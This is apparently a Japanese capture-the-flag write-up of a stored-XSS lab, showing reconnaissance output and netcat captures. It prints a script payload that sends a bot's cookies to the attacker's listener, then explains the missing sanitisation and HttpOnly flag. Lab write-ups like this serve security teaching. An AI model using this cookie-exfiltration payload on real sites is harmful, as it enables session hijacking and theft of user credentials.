本稿はCupid's MatchmakerのWriteUpである。
概要
- トップページ
- プロフィール入力ページ(
/survey)

プロフィールを入力することで運営が最適な相手を探してくれるマッチングサービス、という設定のWebサイトが立ち上がっているので、ここからフラグを奪取する。
攻略の流れ
とりあえずポートスキャンしてみる。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
631/tcp open ipp CUPS 2.4
5000/tcp open http Werkzeug httpd 3.0.1 (Python 3.12.3)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ブラウザで閲覧しているWebアプリ以外に631ポートが開かれている。CUPSとはLinux等で採用されている印刷システムのことだが、ここにあるようにRCEにつながる脆弱性が(以前は)存在した。そのため、今回でもそれを使って進める可能性があることを念頭に入れておく。
[Status: 200, Size: 3160, Words: 933, Lines: 98, Duration: 142ms]
admin [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 144ms]
login [Status: 200, Size: 1639, Words: 512, Lines: 60, Duration: 137ms]
logout [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 138ms]
survey [Status: 200, Size: 5286, Words: 1776, Lines: 121, Duration: 146ms]
:: Progress: [4614/4614] :: Job [1/1] :: 140 req/sec :: Duration: [0:00:34] :: Errors: 0 ::
ファジングの結果からadminという管理者ページが存在し、アクセスしてみたところ/loginにリダイレクトされるようである。なお、/surveyはユーザーがプロフィールを入力して提出するページのことで、だれでもアクセス可能になっている。

/surveyでは自分のプロフィールを入力して送信ボタンを押すとトップページに戻される。XSSを疑い<img src="http://<自分のマシンIP>:1234/testing">を入力して送信したところ、以下の通り反応があった。
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [<自分のマシンIP>] from (UNKNOWN) [10.48.181.89] 47274
GET /testing HTTP/1.1
Host: <自分のマシンIP>:1234
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://localhost:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
User-AgentのHeadlessChromeから、自動化された巡回ボットが投稿をチェックしていることがわかる。また、Refererのhttp://localhost:5000/とある通り、ボットは/surveyではなくサーバー内部から入力したスクリプトを実行している。つまり、入力した場所と実行された場所が異なる。よって、入力した内容が一度サーバー上に保持され、他者が閲覧した際に実行されるStored XSSが可能であると判明した。そこで、このボットのクッキーが奪えないか試すため、<script>location.href='http://<自分のマシンIP>:1234/steal?cookie='+document.cookie</script>を送信してみると・・・
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [<自分のマシンIP>] from (UNKNOWN) [10.48.181.89] 37960
GET /steal?cookie=flag=THM{<<※フラグ>>} HTTP/1.1
Host: <自分のマシンIP>:1234
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
というわけで、このルームはクッキーを奪取するところで終了した。
脆弱性の確認
このWebアプリの脆弱性は
- 入力欄のサニタイズがなかったこと
- クッキーに
HttpOnlyが付与されていなかったこと
が挙げられる。XSS対策が甘くてもHttpOnlyが付与されていればクッキーが攻撃者の手に渡ることがなかったが、今回はそれすら通り越してセッションハイジャックに直結してしまう内容だった。なお、CUPSの脆弱性は関係なかったようである。(実はそれもフラグからも読み取れる)
